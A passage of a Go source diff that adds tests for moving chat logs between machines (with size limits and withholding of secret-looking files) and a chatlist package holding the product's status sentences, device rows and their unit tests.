c cell.Cell, rel string, body []byte, age time.Duration) { + t.Helper() + path := filepath.Join(c.Root, filepath.FromSlash(rel)) + if err := os.MkdirAll(filepath.Dir(path), 0o700); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(path, body, 0o600); err != nil { + t.Fatal(err) + } + when := time.Now().Add(-age) + if err := os.Chtimes(path, when, when); err != nil { + t.Fatal(err) + } +} + +func inventoryOf(t *testing.T, c cell.Cell) inventory.Inventory { + t.Helper() + s, err := inventory.Open(c.Root) + if err != nil { + t.Fatal(err) + } + return s.Snapshot() +} + +// move is the chat arriving on another machine: only its .cell/ folder comes. +func move(t *testing.T, from cell.Cell) cell.Cell { + t.Helper() + to := chat(t) + if out, err := osexec.Command("cp", "-a", from.Root+"/"+cell.StateDir+"/.", to.Root+"/"+cell.StateDir).CombinedOutput(); err != nil { + t.Fatalf("%v: %s", err, out) + } + return to +} + +func TestJobLogsAndStubsComeBackOnTheOtherMachine(t *testing.T) { + a := chat(t) + files := map[string]string{ + "logs/jobs/2.log": "server listening on 8794\n", + "logs/stubs/0123abcd.txt": "the whole tool output\n", + } + for rel, body := range files { + put(t, a, rel, []byte(body), time.Minute) + } + put(t, a, "logs/jobs/2.log.retention", []byte("x"), time.Minute) + put(t, a, "logs/jobs/.retention.lock", nil, time.Minute) + if err := (Carry{}).Compose(a); err != nil { + t.Fatal(err) + } + b := move(t, a) + if n, err := (Carry{}).Restore(b); err != nil || n != len(files) { + t.Fatalf("restored %d files (%v), want %d", n, err, len(files)) + } + for rel, body := range files { + got, err := os.ReadFile(filepath.Join(b.Root, filepath.FromSlash(rel))) + if err != nil || string(got) != body { + t.Errorf("%s on the other machine = %q, %v; want %q", rel, got, err, body) + } + } + if _, err := os.Stat(filepath.Join(b.Root, "logs/jobs/.retention.lock")); err == nil { + t.Error("the job registry's own bookkeeping travelled") + } + if got := inventoryOf(t, a).ChatDir; got != a.Root { + t.Errorf("ChatDir = %q, want the folder the files were in, %q", got, a.Root) + } +} + +func TestAFileOverTheLimitStaysAndIsNamed(t *testing.T) { + a := chat(t) + put(t, a, "logs/jobs/1.log", bytes.Repeat([]byte("x"), MaxFileBytes+1), time.Minute) + put(t, a, "logs/jobs/2.log", []byte("small\n"), time.Minute) + if err := (Carry{}).Compose(a); err != nil { + t.Fatal(err) + } + b := move(t, a) + if _, err := (Carry{}).Restore(b); err != nil { + t.Fatal(err) + } + if _, err := os.Stat(filepath.Join(b.Root, "logs/jobs/1.log")); err == nil { + t.Error("a file over the limit was carried") + } + left := inventoryOf(t, b).Withheld + if len(left) != 1 || left[0].Path != "logs/jobs/1.log" || !strings.Contains(left[0].Reason, "stayed on the machine that made it") { + t.Errorf("withheld = %+v, want logs/jobs/1.log named with why it stayed", left) + } +} + +func TestTheNewestFilesFillTheTotalAndTheOldestAreNamed(t *testing.T) { + a := chat(t) + each := bytes.Repeat([]byte("y"), MaxFileBytes) + for i := 0; i < MaxTotalBytes/MaxFileBytes+2; i++ { + put(t, a, "logs/stubs/"+string(rune('a'+i))+".txt", each, time.Duration(i+1)*time.Hour) + } + if err := (Carry{}).Compose(a); err != nil { + t.Fatal(err) + } + left := inventoryOf(t, a).Withheld + if len(left) != 2 || left[0].Path != "logs/stubs/"+string(rune('a'+MaxTotalBytes/MaxFileBytes))+".txt" { + t.Fatalf("withheld = %+v, want the two oldest", left) + } +} + +func TestAFileThatLooksLikeASecretStaysAndIsNamed(t *testing.T) { + a := chat(t) + put(t, a, "logs/jobs/3.log", []byte("-----BEGIN RSA PRIVATE KEY-----\nMIIEow\n-----END RSA PRIVATE KEY-----\n"), time.Minute) + put(t, a, "logs/jobs/4.log", []byte("fine\n"), time.Minute) + if err := (Carry{}).Compose(a); err != nil { + t.Fatal(err) + } + if _, err := os.Stat(filepath.Join(a.Root, CarriedPath, "logs/jobs/3.log")); err == nil { + t.Error("a file that holds a key was put in the cell") + } + if _, err := os.Stat(filepath.Join(a.Root, CarriedPath, "logs/jobs/4.log")); err != nil { + t.Errorf("a clean log was not carried: %v", err) + } + if left := inventoryOf(t, a).Withheld; len(left) != 1 || left[0].Path != "logs/jobs/3.log" { + t.Errorf("withheld = %+v, want logs/jobs/3.log", left) + } +} + +func TestAChatWithNothingToCarryNamesNoFolder(t *testing.T) { + a := chat(t) + if err := (Carry{}).Compose(a); err != nil { + t.Fatal(err) + } + if got := inventoryOf(t, a).ChatDir; got != "" { + t.Errorf("ChatDir = %q, want none", got) + } +} + +// A task's journals are truth in .cell/tasks and travel with the cell; a second +// copy from beside the chat would be a second answer to where a journal is. +func TestTaskJournalsAreNotCarriedASecondTime(t *testing.T) { + a := chat(t) + put(t, a, "tasks/4/trajectory.jsonl", []byte("{}\n"), time.Minute) + put(t, a, "logs/jobs/2.log", []byte("x\n"), time.Minute) + if err := (Carry{}).Compose(a); err != nil { + t.Fatal(err) + } + if _, err := os.Stat(filepath.Join(a.Root, CarriedPath, "tasks")); err == nil { + t.Error("task journals were copied into the carried files") + } +} diff --git a/internal/chatlist/branch_test.go b/internal/chatlist/branch_test.go new file mode 100644 index 0000000000..53df7fd4f6 --- /dev/null +++ b/internal/chatlist/branch_test.go @@ -0,0 +1,41 @@ +package chatlist + +import "testing" + +func TestBranchLineSpellings(t *testing.T) { + r := Row{Status: Branch, Device: "laptop", OrphanTurns: 2} + for got, want := range map[string]string{ + BranchLine(r, true): "2 turns from laptop: merge / discard", + BranchLine(r, false): "2 turns from laptop: discard", + BranchShort(r): "2 turns · laptop", + } { + if got != want { + t.Errorf("got %q, want %q", got, want) + } + } + // The frozen sentence and the list's own status line are one spelling. + if BranchLine(r, true) != StatusLine(r) { + t.Errorf("BranchLine and StatusLine disagree") + } +} + +func TestOneTurnIsNotPlural(t *testing.T) { + for _, c := range []struct { + n uint32 + unit string + }{{1, "1 turn"}, {2, "2 turns"}} { + r := Row{Status: Branch, Device: "mac", OrphanTurns: c.n, Pending: c.n} + want := map[string]string{ + BranchLine(r, true): c.unit + " from mac: merge / discard", + BranchLine(r, false): c.unit + " from mac: discard", + BranchShort(r): c.unit + " · mac", + TakeoverLine(r): "last saved turn 0s ago; up to " + c.unit + " may still be on mac", + KeptEdits(c.n, "mac"): "your unsaved edits here were kept as " + c.unit + " from mac", + } + for got, w := range want { + if got != w { + t.Errorf("K=%d: got %q, want %q", c.n, got, w) + } + } + } +} diff --git a/internal/chatlist/copy.go b/internal/chatlist/copy.go new file mode 100644 index 0000000000..33c14d4bf9 --- /dev/null +++ b/internal/chatlist/copy.go @@ -0,0 +1,299 @@ +package chatlist + +import ( + "fmt" + "strings" + "time" +) + +// The frozen sentences (STAGE-1-CONTRACTS §8.1). Every surface takes its words +// from here so a respelling happens once. +const ( + OfferContinue = "continue here" + // MoveHere is the verb for a chat another device is running right now, and + // ContinueVerb for one it let go of; the devices row offers them by name. + MoveHere = "Move here" + ContinueVerb = "Continue here" + LostRace = "another device continued this chat first" + NoIdentity = "this machine has no identity yet: codeaf identity import" + SyncOff = "sync is off: set CODEAF_SYNC_URL to your sync address" + Unreachable = "other machines unreachable" + ClockOff = "this computer's clock is off by more than 5 minutes" + // What the relay's refusals say (one sentence each, in the order the + // cellsync table lists them). None names a code or a number of requests: + // each says what is true for the person and what, if anything, to do. + relayFull = "your sync space is full%s, so new turns stay on this computer; free space there and reopen this chat" + Removed = "this device was removed by another of your devices, so this chat stays here only — run `codeaf pair` to bring it back" + SlowDown = "sync is asking this computer to slow down; new turns stay here and go up as soon as it allows" + tooManyNewIn = "too many new identities from this network today — try again in about %s" + TooManyNew = "this network has started too many new identities today; sync begins when it allows more" + ReplacedGone = "your identity was replaced and sync has deleted the old one; pair this computer again (/pair on a computer that has the new one)" + Replaced = "your chats are moving to a new identity; when that is done, pair this computer again (/pair on the computer that moved them)" + runningOn = "running on %s" + deviceOff = "%s offline" + branchLine = "%s from %s: merge / discard" + branchKeep = "%s from %s: discard" + branchShort = "%s · %s" + takeoverLine = "last saved turn %s ago" + takeoverMore = "; up to %s may still be on %s" + keptEdits = "your unsaved edits here were kept as %s from %s" + supersededLine = "%s continued this chat; this window now only shows it" + copiesCame = "working copies of tasks came along: %s" + copyCame = "the working copy of a task came along: %s" + setupAsk = "Set this machine up like %s had it?" + setupAskAnon = "Set this machine up like it was?" + arrivedHead = "Moved from %s. Here is where it stands." + arrivedAnon = "Moved here. Here is where it stands." + notBrought = "not brought along: %s" + wasRunning = "was running there: %s" + alsoNeeded = "also needed: %s" + uncommitted = "not committed yet: %s" + lastTests = "last tests: %s" + testsPassed = "passed" + testsFailed = "failed" + movedFrom = "Moved from %s in %s. Everything as you left it." + movedAnon = "Moved here in %s. Everything as you left it." + movedRestart = " What was running there can start again here." + moreNames = "%s and %d more" + // OfferSetUp and OfferNotNow are the two answers of the card a takeover raises, + // and SetupLater is what the second one says, so a person who answered it + // knows the door is still open. + OfferSetUp = "set up" + OfferNotNow = "not now" + OfferGotIt = "got it" + SetupLater = "/setup does this later" +) + +// namesShown is how many names a line of the setup card spells before it says +// how many more there are. +const namesShown = 3 + +// SetupFacts are the three lists a takeover can have something to say about, as +// lines a person reads: folders the copy did not bring, commands that were +// running there, and what this machine also needs. +type SetupFacts struct { + Missing, Running, Needed, Changed []string + // Tests is the last test run's line, from [TestsLine], "" when none was recorded. + Tests string +} + +// SetupHead is the question of the card a takeover raises. A device whose name +// is unknown is left out with the word before it, so the sentence still reads. +func SetupHead(device string) string { + if device == "" { + return setupAskAnon + } + return fmt.Sprintf(setupAsk, device) +} + +// ArrivedHead is the heading of the card a takeover raises when there is +// nothing to set up and only where the chat stands to say. +func ArrivedHead(device string) string { + if device == "" { + return arrivedAnon + } + return fmt.Sprintf(arrivedHead, device) +} + +// SetupReasons are the lines under the question, one for each list that is not +// empty. The person is shown exactly what the agent will be told, because both +// are built from the same facts. +func SetupReasons(f SetupFacts) []string { + var out []string + for _, line := range []struct { + label string + names []string + }{ + {notBrought, f.Missing}, {wasRunning, f.Running}, {alsoNeeded, f.Needed}, {uncommitted, f.Changed}, + } { + if len(line.names) > 0 { + out = append(out, fmt.Sprintf(line.label, nameList(line.names))) + } + } + if f.Tests != "" { + out = append(out, f.Tests) + } + return out +} + +// TestsLine is the line for the last recorded test run: it passed, or it failed +// and, when the run said how many, how many. +func TestsLine(passed bool, failed int) string { + switch { + case passed: + return fmt.Sprintf(lastTests, testsPassed) + case failed > 0: + return fmt.Sprintf(lastTests, fmt.Sprintf("%s %d", testsFailed, failed)) + } + return fmt.Sprintf(lastTests, testsFailed) +} + +// nameList spells the first few names and counts the rest. +func nameList(names []string) string { + if len(names) <= namesShown { + return strings.Join(names, ", ") + } + return fmt.Sprintf(moreNames, strings.Join(names[:namesShown], ", "), len(names)-namesShown) +} + +// StatusLine is what a list row says beside the title. Idle and Here say +// nothing (the emptiness law), so their line is empty. +func StatusLine(r Row) string { + switch r.Status { + case Running: + return fmt.Sprintf(runningOn, r.Device) + case Off: + return fmt.Sprintf(deviceOff, r.Device) + case Branch: + return fmt.Sprintf(branchLine, turns(r.OrphanTurns), r.Device) + } + return "" +} + +// BranchLine is a branch row's sentence for what the surface can do with it. +// Merge is offered only where a surface has a way to merge, so a surface +// without one says the sentence without it rather than promising the verb. +// Separate is offered only where the continuation door can open the kept chat. +func BranchLine(r Row, merge bool, separate ...bool) string { + if len(separate) > 0 && separate[0] { + return fmt.Sprintf("%s from %s: open separately / discard", turns(r.OrphanTurns), r.Device) + } + if merge { + return fmt.Sprintf(branchLine, turns(r.OrphanTurns), r.Device) + } + return fmt.Sprintf(branchKeep, turns(r.OrphanTurns), r.Device) +} + +// BranchShort is the branch row's narrow spelling (ruling 2026-09-29, §8.1): +// the shared row fitter takes it below the width the full sentence needs, so +// the row never loses the fact that it is a branch and where it came from. +func BranchShort(r Row) string { return fmt.Sprintf(branchShort, turns(r.OrphanTurns), r.Device) } + +// TakeoverLine is the takeover screen's sentence; the clause about turns still +// on the other machine is left out when none are. A chat that is running now +// says where first, because continuing it here stops it there. +func TakeoverLine(r Row) string { + line := fmt.Sprintf(takeoverLine, agoWord(r.DurableAgo)) + if r.Pending > 0 { + line += fmt.Sprintf(takeoverMore, turns(r.Pending), r.Device) + } + return holderLead(r) + line +} + +// agoWord spells an age in its largest whole unit, so an hour reads `1h` and +// not `3600s`: seconds under a minute, then minutes, hours and days. +func agoWord(d time.Duration) string { + switch { + case d < time.Minute: + return fmt.Sprintf("%ds", int64(d/time.Second)) + case d < time.Hour: + return fmt.Sprintf("%dm", int64(d/time.Minute)) + case d < 24*time.Hour: + return fmt.Sprintf("%dh", int64(d/time.Hour)) + } + return fmt.Sprintf("%dd", int64(d/(24*time.Hour))) +} + +// holderLead names the device a live chat runs on, and is empty for a chat +// nobody is running. +func holderLead(r Row) string { + if r.Status != Running { + return "" + } + return fmt.Sprintf(runningOn+"; ", r.Device) +} + +// KeptEdits is said after a takeover kept local edits as a branch. +func KeptEdits(n uint32, device string) string { + return fmt.Sprintf(keptEdits, turns(n), device) +} + +// CopiesCame is said after a takeover brought the working copies of tasks that +// had not landed, named by task. It says nothing when none came (the emptiness +// law), so the caller can join it to other sentences without a test. +func CopiesCame(names []string) string { + switch len(names) { + case 0: + return "" + case 1: + return fmt.Sprintf(copyCame, names[0]) + } + return fmt.Sprintf(copiesCame, strings.Join(names, ", ")) +} + +// RelayFull is said when the relay has no room left. It names the ceiling the +// relay told us, and says nothing of one when the relay named none (the +// emptiness law): a relay run on its own disk has no number to give. +func RelayFull(limitBytes int64) string { + size := "" + if limitBytes > 0 { + size = " (" + bytesSize(limitBytes) + ")" + } + return fmt.Sprintf(relayFull, size) +} + +// TooManyNewIn is said when the relay turned a network's new identity away and +// named when its day frees up. It rounds the wait up, so a person who comes back +// at the time it says is never turned away again; a relay that named no wait +// gets the plain TooManyNew. +func TooManyNewIn(wait time.Duration) string { + if wait <= 0 { + return TooManyNew + } + return fmt.Sprintf(tooManyNewIn, waitWords(wait)) +} + +// waitWords spells a wait in the unit a person plans by: a minute or less, whole +// minutes below an hour (a wait that rounds to 60 of them is an hour), and whole hours after, each rounded up. +func waitWords(wait time.Duration) string { + switch { + case wait <= time.Minute: + return "a minute" + case wait < time.Hour-time.Minute: + return fmt.Sprintf("%d minutes", ceilUnits(wait, time.Minute)) + } + if hours := ceilUnits(wait, time.Hour); hours > 1 { + return fmt.Sprintf("%d hours", hours) + } + return "an hour" +} + +// ceilUnits is wait in whole units of unit, rounded up. +func ceilUnits(wait, unit time.Duration) int { return int((wait + unit - 1) / unit) } + +// bytesSize spells a byte count in the largest binary unit it reaches, without +// trailing zeros: 5 GiB, 1.5 GiB, 512 MiB. +func bytesSize(n int64) string { + const mib, gib = 1 << 20, 1 << 30 + if n >= gib { + return fmt.Sprintf("%g GiB", float64(n)/gib) + } + return fmt.Sprintf("%g MiB", float64(n)/mib) +} + +// Superseded is said to a driver whose lease another device took over. +func Superseded(device string) string { return fmt.Sprintf(supersededLine, device) } + +// turns spells a count of turns, so one reads `1 turn` in every sentence that +// carries a count and the copy is never `1 turns`. +func turns(n uint32) string { + if n == 1 { + return "1 turn" + } + return fmt.Sprintf("%d turns", n) +} + +// Moved is the line every takeover says, with the time it measured. It says +// where the chat came from when that is known, and that what was running there +// can start again only when something was. +func Moved(from string, elapsed time.Duration, hadRunning bool) string { + took := elapsed.Round(100 * time.Millisecond).String() + line := fmt.Sprintf(movedAnon, took) + if from != "" { + line = fmt.Sprintf(movedFrom, from, took) + } + if hadRunning { + line += movedRestart + } + return line +} diff --git a/internal/chatlist/devices.go b/internal/chatlist/devices.go new file mode 100644 index 0000000000..8f0a4e852f --- /dev/null +++ b/internal/chatlist/devices.go @@ -0,0 +1,79 @@ +package chatlist + +import ( + "fmt" + "sort" + + "github.com/Agent-Field/codeaf/internal/directory" +) + +// The words of the devices row. The two verbs it offers, MoveHere and +// ContinueVerb, are in copy.go with the other contract sentences. +const ( + thisMac = "This Mac" + thisDevice = "This computer" + offlineTag = "(offline)" + verbFrom = "%s from %s" + darwin = "darwin" +) + +// Device is one paired device as the devices row shows it. +type Device struct { + ID, Name string + // Self marks the device the row is drawn on. + Self bool +} + +// Devices lists the devices that are not revoked, this one first and the rest by +// name, so the row never reshuffles when a device comes and goes. +func Devices(l directory.Listing, self string, open Opener) []Device { + var out []Device + for id, d := range l.Devices { + if !d.Revoked { + out = append(out, Device{ID: id, Name: ownName(id == self, d, open, id, l), Self: id == self}) + } + } + sort.Slice(out, func(i, j int) bool { return deviceBefore(out[i], out[j]) }) + return out +} + +func ownName(self bool, d directory.Device, open Opener, id string, l directory.Listing) string { + if !self { + return deviceName(l.Devices, id, open) + } + if d.Platform == darwin { + return thisMac + } + return thisDevice +} + +func deviceBefore(a, b Device) bool { + if a.Self != b.Self { + return a.Self + } + if a.Name != b.Name { + return a.Name < b.Name + } + return a.ID < b.ID +} + +// Mark is the dot and name of a device, filled when it is online. A device that +// is not online says so in words as well, since a hollow dot alone is easy to +// miss on a plain terminal. +func (d Device) Mark(online bool) string { + if online || d.Self { + return "● " + d.Name + } + return "○ " + d.Name + " " + offlineTag +} + +// VerbFor is the verb the devices row offers for a chat on another device. +func VerbFor(r Row) string { + if r.Status == Running { + return MoveHere + } + return ContinueVerb +} + +// VerbFrom is the verb with the device it brings the chat from. +func VerbFrom(r Row) string { return fmt.Sprintf(verbFrom, VerbFor(r), r.Device) } diff --git a/internal/chatlist/devices_test.go b/internal/chatlist/devices_test.go new file mode 100644 index 0000000000..73ecd20618 --- /dev/null +++ b/internal/chatlist/devices_test.go @@ -0,0 +1,40 @@ +package chatlist + +import ( + "errors" + "testing" + + "github.com/Agent-Field/codeaf/internal/directory" +) + +func TestDevicesListSelfFirstSkipRevokedAndMarkPresence(t *testing.T) { + l := directory.Listing{Devices: map[string]directory.Device{ + "dev_b": {Name: "b64-spark"}, "dev_a": {Name: "b64-dumb"}, + "dev_me": {Platform: "darwin"}, "dev_gone": {Revoked: true}, + }} + open := func(s string) (string, error) { + if s == "b64-spark" { + return "spark", nil + } + if s == "b64-dumb" { + return "dumb", nil + } + return "", errors.New("no") + } + got := Devices(l, "dev_me", open) + if len(got) != 3 || got[0].Name != "This Mac" || got[1].Name != "dumb" || got[2].Name != "spark" { + t.Fatalf("devices %+v", got) + } + if got[0].Mark(false) != "● This Mac" || got[2].Mark(true) != "● spark" || got[1].Mark(false) != "○ dumb (offline)" { + t.Fatalf("marks %q %q %q", got[0].Mark(false), got[2].Mark(true), got[1].Mark(false)) + } +} + +func TestVerbsFollowTheChatsStatus(t *testing.T) { + if VerbFor(Row{Status: Running}) != MoveHere || VerbFor(Row{Status: Off}) != ContinueVerb { + t.Fatal("wrong verb") + } + if got := VerbFrom(Row{Status: Running, Device: "spark"}); got != "Move here from spark" { + t.Fatal(got) + } +} diff --git a/internal/chatlist/offer.go b/internal/chatlist/offer.go new file mode 100644 index 0000000000..ad1d50c072 --- /dev/null +++ b/internal/chatlist/offer.go @@ -0,0 +1,34 @@ +package chatlist + +// OfferKind is what a person may do with a row. +type OfferKind int + +const ( + Open OfferKind = iota + ContinueHere + Merge +) + +// Offer is the action a row invites and its exact copy. +type Offer struct { + Kind OfferKind + Line string +} + +// offers maps each status to its offer; a table keeps OfferFor free of +// branching. Idle and Here open the chat with nothing said. A chat running on +// another device is continued like one that went off: the person who opens it +// decides it moves, and the takeover screen says where it runs now. +var offers = map[Status]func(Row) Offer{ + Off: func(Row) Offer { return Offer{ContinueHere, OfferContinue} }, + Running: func(Row) Offer { return Offer{ContinueHere, OfferContinue} }, + Branch: func(r Row) Offer { return Offer{Merge, StatusLine(r)} }, +} + +// OfferFor says what to offer for a row. +func OfferFor(r Row) Offer { + if f, ok := offers[r.Status]; ok { + return f(r) + } + return Offer{Kind: Open} +} diff --git a/internal/chatlist/offer_test.go b/internal/chatlist/offer_test.go new file mode 100644 index 0000000000..555e762da3 --- /dev/null +++ b/internal/chatlist/offer_test.go @@ -0,0 +1,157 @@ +package chatlist + +import ( + "strings" + "testing" + "time" +) + +func TestOfferCopy(t *testing.T) { + cases := []struct { + row Row + want Offer + }{ + {Row{Status: Off, Device: "studio"}, Offer{ContinueHere, "continue here"}}, + {Row{Status: Running, Device: "studio"}, Offer{ContinueHere, "continue here"}}, + {Row{Status: Branch, Device: "studio", OrphanTurns: 3}, Offer{Merge, "3 turns from studio: merge / discard"}}, + {Row{Status: Idle}, Offer{Kind: Open}}, + {Row{Status: Here}, Offer{Kind: Open}}, + } + for _, tc := range cases { + if got := OfferFor(tc.row); got != tc.want { + t.Errorf("%s: got %+v, want %+v", tc.row.Status, got, tc.want) + } + } +} + +func TestStatusLineCopy(t *testing.T) { + cases := map[Status]string{ + Running: "running on studio", + Off: "studio offline", + Branch: "2 turns from studio: merge / discard", + Idle: "", + Here: "", + } + for st, want := range cases { + if got := StatusLine(Row{Status: st, Device: "studio", OrphanTurns: 2}); got != want { + t.Errorf("%s: got %q, want %q", st, got, want) + } + } +} + +func TestTakeoverLineOmitsClauseAtZero(t *testing.T) { + r := Row{Device: "studio", DurableAgo: 42*time.Second + 900*time.Millisecond, Pending: 3} + if got, want := TakeoverLine(r), "last saved turn 42s ago; up to 3 turns may still be on studio"; got != want { + t.Fatalf("got %q", got) + } + r.Pending = 0 + if got, want := TakeoverLine(r), "last saved turn 42s ago"; got != want { + t.Fatalf("got %q", got) + } +} + +// A chat that runs now says where before how fresh the copy is, because +// continuing it here stops it there. +func TestTakeoverLineNamesTheDeviceARunningChatIsOn(t *testing.T) { + r := Row{Status: Running, Device: "studio", DurableAgo: 12 * time.Second} + if got, want := TakeoverLine(r), "running on studio; last saved turn 12s ago"; got != want { + t.Fatalf("got %q, want %q", got, want) + } +} + +func TestCopiesCameSaysNothingForNone(t *testing.T) { + for names, want := range map[string]string{ + "": "", + "n1": "the working copy of a task came along: n1", + "n1,n2": "working copies of tasks came along: n1, n2", + } { + var in []string + if names != "" { + in = strings.Split(names, ",") + } + if got := CopiesCame(in); got != want { + t.Errorf("CopiesCame(%v) = %q, want %q", in, got, want) + } + } +} + +func TestFrozenSentences(t *testing.T) { + if got := KeptEdits(2, "studio"); got != "your unsaved edits here were kept as 2 turns from studio" { + t.Error(got) + } + if got := Superseded("studio"); got != "studio continued this chat; this window now only shows it" { + t.Error(got) + } + for got, want := range map[string]string{ + NoIdentity: "this machine has no identity yet: codeaf identity import", + Unreachable: "other machines unreachable", + ClockOff: "this computer's clock is off by more than 5 minutes", + ReplacedGone: "your identity was replaced and sync has deleted the old one; pair this computer again (/pair on a computer that has the new one)", + Replaced: "your chats are moving to a new identity; when that is done, pair this computer again (/pair on the computer that moved them)", + Removed: "this device was removed by another of your devices, so this chat stays here only — run `codeaf pair` to bring it back", + SlowDown: "sync is asking this computer to slow down; new turns stay here and go up as soon as it allows", + TooManyNew: "this network has started too many new identities today; sync begins when it allows more", + } { + if got != want { + t.Errorf("got %q want %q", got, want) + } + } +} + +func TestRelayFullNamesTheCeilingOnlyWhenTheRelayDid(t *testing.T) { + for limit, want := range map[int64]string{ + 0: "your sync space is full, so new turns stay on this computer; free space there and reopen this chat", + 5 << 30: "your sync space is full (5 GiB), so new turns stay on this computer; free space there and reopen this chat", + 3 << 29: "your sync space is full (1.5 GiB), so new turns stay on this computer; free space there and reopen this chat", + 512 << 20: "your sync space is full (512 MiB), so new turns stay on this computer; free space there and reopen this chat", + } { + if got := RelayFull(limit); got != want { + t.Errorf("RelayFull(%d) = %q, want %q", limit, got, want) + } + } +} + +func TestMovedSaysTheMeasuredTime(t *testing.T) { + got := Moved("spark", 3200*time.Millisecond, true) + want := "Moved from spark in 3.2s. Everything as you left it. What was running there can start again here." + if got != want { + t.Fatalf("got %q", got) + } + if got := Moved("", 1500*time.Millisecond, false); got != "Moved here in 1.5s. Everything as you left it." { + t.Fatalf("got %q", got) + } +} + +// A chat whose holder is offline stopped; its sentence does not say it runs. +func TestTakeoverLineOfAQuietRowDoesNotSayRunning(t *testing.T) { + r := Row{Status: Running, Device: "build-box", DurableAgo: 15 * time.Second}.Quiet() + if got, want := TakeoverLine(r), "last saved turn 15s ago"; got != want { + t.Fatalf("got %q, want %q", got, want) + } +} + +func TestTakeoverLineSpellsAgeInReadableUnits(t *testing.T) { + for age, want := range map[time.Duration]string{ + 42 * time.Second: "42s", 90 * time.Second: "1m", 3 * time.Hour: "3h", 50 * time.Hour: "2d", + } { + if got := TakeoverLine(Row{DurableAgo: age}); got != "last saved turn "+want+" ago" { + t.Errorf("%v: %q", age, got) + } + } +} + +func TestTooManyNewNamesWhenTheDayFreesUp(t *testing.T) { + for wait, want := range map[time.Duration]string{ + 0: TooManyNew, + 20 * time.Second: "too many new identities from this network today — try again in about a minute", + time.Minute + time.Second: "too many new identities from this network today — try again in about 2 minutes", + 45 * time.Minute: "too many new identities from this network today — try again in about 45 minutes", + time.Hour: "too many new identities from this network today — try again in about an hour", + time.Hour + time.Second: "too many new identities from this network today — try again in about 2 hours", + 2*time.Hour + 30*time.Minute: "too many new identities from this network today — try again in about 3 hours", + } { + if got := TooManyNewIn(wait); got != want { + t.Errorf("wait %v: got %q want %q", wait, got, want) + } + } +} diff --git a/internal/chatlist/rows.go b/internal/chatlist/rows.go new file mode 100644 index 0000000000..3bd2cbe5c9 --- /dev/null +++ b/internal/chatlist/rows.go @@ -0,0 +1,184 @@ +// Package chatlist turns the directory's listing into the rows a person sees +// and the sentences that go with them. It is pure: no clock, no network, no +// terminal. The home screen and `codeaf cell list --all` both draw from it, so +// the copy in copy.go is the one source of truth for both. +package chatlist + +import ( + "context" + "sort" + "strings" + "time" + + "github.com/Agent-Field/codeaf/internal/devname" + "github.com/Agent-Field/codeaf/internal/directory" +) + +// Status is where a chat is running, from one device's point of view. +type Status string + +const ( + Here Status = "here" // this device holds the live lease + Running Status = "running" // another device holds a live lease + Off Status = "off" // expired and never released: the holder died or slept + Idle Status = "idle" // released + Branch Status = "branch" // OrphanTurns > 0, not archived +) + +// Row is one chat as the list shows it. +type Row struct { + Cell, Title, Device, DeviceID, Parent string + Status Status + DurableAgo time.Duration // Listing.Now - DurableAt, directory clock only + DurableAt int64 // directory ms of the last durable turn: the fact DurableAgo is read from + Pending, OrphanTurns uint32 + // Fence binds the continuation card to the holder the person saw. + Fence uint64 + // Mine says this device was the chat's last holder, so a lapsed lease is + // this device's own to pick up and not another device's work gone quiet. + Mine bool +} + +// Quiet is the row of a chat whose live holder has gone: a lease that still +// runs on a device that is no longer online is a chat that stopped, so it reads +// as one that went off (`studio offline`), not `running on studio`. +func (r Row) Quiet() Row { + if r.Status == Running { + r.Status = Off + } + return r +} + +// Opener opens a sealed name with the metadata key. +type Opener func(sealed string) (string, error) + +// Source is anything that can list chats across machines. +type Source interface { + Rows(ctx context.Context) ([]Row, error) +} + +// Versioned is a Source that can also say which directory version its answer +// was read at, so a screen following the change feed can tell a frame it has +// already read past from one that is news. +type Versioned interface { + Source + RowsAt(ctx context.Context) ([]Row, uint64, error) +} + +// RowsAt reads src and reports the version it was read at, or 0 when the +// source does not keep versions. +func RowsAt(ctx context.Context, src Source) ([]Row, uint64, error) { + if v, ok := src.(Versioned); ok { + return v.RowsAt(ctx) + } + rows, err := src.Rows(ctx) + return rows, 0, err +} + +// Static is the fake Source: it always answers with itself. +type Static []Row + +// Rows implements Source. +func (s Static) Rows(context.Context) ([]Row, error) { return []Row(s), nil } + +const ( + untitled = "untitled" + devPrefix = "dev_" + idPrefix = 8 +) + +// Rows builds the list from a directory listing. self is this device's id. +// Archived cells are hidden; the newest durable turn comes first and ties +// break by cell id so the order never flickers. +func Rows(l directory.Listing, self string, open Opener) []Row { + rows := make([]Row, 0, len(l.Cells)) + for id, c := range l.Cells { + if !c.Archived { + rows = append(rows, rowOf(id, c, l, self, open)) + } + } + sort.Slice(rows, func(i, j int) bool { return newer(rows[i], rows[j]) }) + return rows +} + +// newer orders by smaller DurableAgo (a newer turn), then by cell id. +func newer(a, b Row) bool { + if a.DurableAgo != b.DurableAgo { + return a.DurableAgo < b.DurableAgo + } + return a.Cell < b.Cell +} + +func rowOf(id string, c directory.Cell, l directory.Listing, self string, open Opener) Row { + return Row{ + Cell: id, + Title: nameOr(open, c.Title, untitled), + Device: deviceName(l.Devices, c.Lease.Device, open), + DeviceID: c.Lease.Device, + Fence: c.Lease.Fence, + Parent: c.ParentCell, + Status: heldStatus(c, l, self), + Mine: c.Lease.Device == self, + DurableAgo: time.Duration(l.Now-c.DurableAt) * time.Millisecond, + DurableAt: c.DurableAt, + Pending: c.Lease.Pending, + OrphanTurns: c.OrphanTurns, + } +} + +// heldStatus is the chat's status, except that a lease held by a revoked device +// is no lease: that device can no longer release it or be reached, so the chat +// reads as released and is never offered as running or lapsed elsewhere. +func heldStatus(c directory.Cell, l directory.Listing, self string) Status { + st := statusOf(c, l.Now, self) + if holder, ok := l.Devices[c.Lease.Device]; ok && holder.Revoked && (st == Running || st == Off) { + return Idle + } + return st +} + +// statusOf applies the precedence Branch, Here, Running, Off, Idle. +func statusOf(c directory.Cell, now int64, self string) Status { + switch { + case c.OrphanTurns > 0: + return Branch + case c.Lease.Expires > now && c.Lease.Device == self: + return Here + case c.Lease.Expires > now: + return Running + case c.Lease.Expires != 0: + return Off + } + return Idle +} + +// DeviceName is the name of device id as the list shows it, for the surfaces +// that name a device outside a row. +func DeviceName(devs map[string]directory.Device, id string, open Opener) string { + return deviceName(devs, id, open) +} + +// deviceName opens the holder's sealed name; a name that will not open, or a +// device the listing does not know, shows the first hex digits of its id. +func deviceName(devs map[string]directory.Device, id string, open Opener) string { + return devname.Shown(nameOr(open, devs[id].Name, shortID(id))) +} + +func shortID(id string) string { + hex := strings.TrimPrefix(id, devPrefix) + if len(hex) > idPrefix { + hex = hex[:idPrefix] + } + return hex +} 